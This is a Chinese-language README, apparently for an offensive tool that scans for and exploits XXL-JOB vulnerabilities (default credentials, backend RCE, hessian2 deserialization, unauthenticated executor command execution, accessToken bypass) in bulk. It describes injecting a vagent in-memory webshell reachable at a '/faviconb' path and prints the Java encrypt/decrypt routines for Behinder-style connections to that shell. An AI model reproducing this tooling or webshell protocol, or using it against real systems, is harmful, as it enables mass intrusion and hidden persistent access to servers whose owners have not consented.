工具支持检测xxl-job多种常见漏洞,并且支持多种利用方式。工具提供直观友好的图像化界面,用户能够轻松进行操作和管理。支持空间测绘、批量扫描功能,用户可以同时对多个目标进行漏洞检测,极大地提高了扫描效率。还支持暂停扫描、终止扫描、自定义多线程扫描、自定义请求头、内置随机User-Agent头、http代理、socks代理、扫描结果导出为表格等等功能。
工具目前支持如下漏洞的检测,我们也会持续添加poc和各种漏洞利用方式。
XXL-JOB-Admin 默认登陆密码
XXL-JOB-Admin 后台RCE ( 工具支持利用模块 : 内存马注入 )
XXL-JOB-Admin 前台api未授权 hessian2反序列化 ( 工具支持利用模块 : 命令执行 内存马注入 )
XXL-JOB-Executor Restful API 未授权访问命令执行 ( 工具支持利用模块 : 命令执行 )
XXL-JOB-Executor 默认accessToken权限绕过 ( 工具支持利用模块 : 命令执行 )
工具也支持资产测绘和批量扫描
Hessian2反序列化注入内存马
后台一键注入vagent内存马,需要再设置里面配置好Cookie (目前仅支持部分版本,且需管理端和执行端在同一台服务器)
目标中需要xxl-job的二级目录,注入添加的执行器和日志会进行自动删除
注入的内存马用的是vagent,其中冰蝎连接方式如下
链接:以 /faviconb 结尾
密码:自定义加解密协议
private byte[] Encrypt(byte[] data) {
byte[] dt = new byte[data.length];
for (int i = 0; i < data.length; i++) {
dt[i] = (byte) (data[i] + 1);
}
try {
java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream();
java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o);
g.write(dt);
g.close();
byte[] c = o.toByteArray();
byte[] ct = new byte[c.length];
for (int i = 0; i < c.length; i++) {
ct[i] = (byte) (c[i] + 1);
}
return ct;
} catch (Exception ignored) {
}
return data;
}
private byte[] Decrypt(byte[] data) {
byte[] dt = new byte[data.length];
for (int i = 0; i < data.length; i++) {
dt[i] = (byte) (data[i] - 1);
}
try {
java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt);
java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length);
byte[] c = r(i);
byte[] ct = new byte[c.length];
for (int b = 0; b < c.length; b++) {
ct[b] = (byte) (c[b] - 1);
}
return ct;
} catch (Exception ignored) {
}
return data;
}
private byte[] r(java.io.InputStream i) {
byte[] temp = new byte[1024];
java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream();
int n;
try {
while((n = i.read(temp)) != -1) {b.write(temp, 0, n);
}} catch (Exception ignored) {
}
return b.toByteArray();
}
XXL-JOB-Executor 漏洞检测和利用需要在目标上Executor的端口上扫描,默认是9999,支持无回显命令执行